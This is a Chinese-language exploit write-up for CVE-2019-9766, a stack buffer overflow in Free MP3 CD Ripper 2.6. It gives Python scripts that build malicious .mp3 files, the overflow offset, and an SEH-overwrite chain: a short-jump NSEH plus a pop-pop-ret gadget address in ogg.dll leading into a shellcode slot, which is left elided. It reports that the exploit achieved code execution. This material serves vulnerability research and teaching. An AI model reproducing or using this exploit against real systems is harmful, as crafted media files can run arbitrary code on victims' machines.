CVE-2019-9766
Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码。
没有保护,意味可以在栈上面写shellcode执行
得到Crash
生成测试文件
pay = "A"*10000
try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")
将10000个“A"字节写入到 test.mp3 文件内,IDA挂上调试器开始调试
debugger setup:要在加载dll文件的时候自动下断点,以免漏洞函数在dll文件中。判断之后确定漏洞函数在主程序 fcrip.exe 里面
确定溢出长度
使用cyclic
生成10000个不重复的文件,使用windbg捕获异常退出(SEH)
joe1sn@MSI:/mnt/d/HackTools/CVE/Windows/CVE-2019-9766$ cyclic 10000 > sample.mp3
发现EIP
寄存器被61667062
覆盖,但是程序是小端序,真实的数据是62706661
使用HxD得到数据位置
确定漏洞函数
0x1014 = 4116,最终获得偏移,那么重新编写生成测试文件的脚本
pay = "A"*4112
try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")
为了确定漏洞函数,使用 IDA 动态调试
得到栈上的地址,再减去之前的填充,得到漏洞函数
在函数下断点后,经简单逆向可以发现:
这里的Len>=0x200的时候才允许我们退出
这个函数实现的是读取功能,将我们提供的源文件数据写到OverflowedStack
栈上面,然后是栈的空间大小:
综上
栈地大小是:0x1010 = 4112
写入函数的循环可以执行:0x2000 = 8192次
最终造成栈溢出
准备编写EXP
Windows的栈的结构不大一样,OverflowedStack + 4116
的位置:
网上的同用方法是覆盖到EIP,然后调用SEH到Next_SEH,Next_SEH存一个短jmp跳到下面的shellcode
这样做的好处是不用知道shellcode栈上的地址也可以进行跳转执行
这样得到的EXP:
offset="A"*4116
NSEH="\xeb\x06\x90\x90"
SEH="\x84\x20\xe4\x66"
nops="\x90"*5
shellcode = "....."
pad = "B"*(316-len(nops)-len(shellcode))
payload = offset+NSEH+SEH+nops+shellcode+pad
try:
f=open("Sample3.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")
成功上线
EXP效果分析
大致过程:
1. EIP错误导致该段栈帧调用 S.E.H
-
2. S.E.H 被我们修改为
ogg.dll:66E42084 pop ebx ogg.dll:66E42085 pop ebp ogg.dll:66E42086 retn
利用 ogg.dll 里面的gadget,抬栈过后再返回,这样SEH的执行就交给了 nSEH
3. 返回地址根据 jmp长度可以直接跟shellcode,也可以用nop滑入shellcode
所以这里利用了Windows中的SEH攻击
最终得到简化的EXP
from pwn import *
shellcode = "..."
offset="A"*4116
shellcode_addr = 0x0879FEA8
pop_ebx_ebp = 0x66E42084
payload = offset
payload += "\xEB\x06\x90\x90" # asm("jmp 6;nop;nop")
payload += p32(pop_ebx_ebp) #up the stack
payload += shellcode
try:
f=open("PWN.mp3","w")
success("Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
success("mp3 File created successfully!")
except:
print ("File cannot be created!")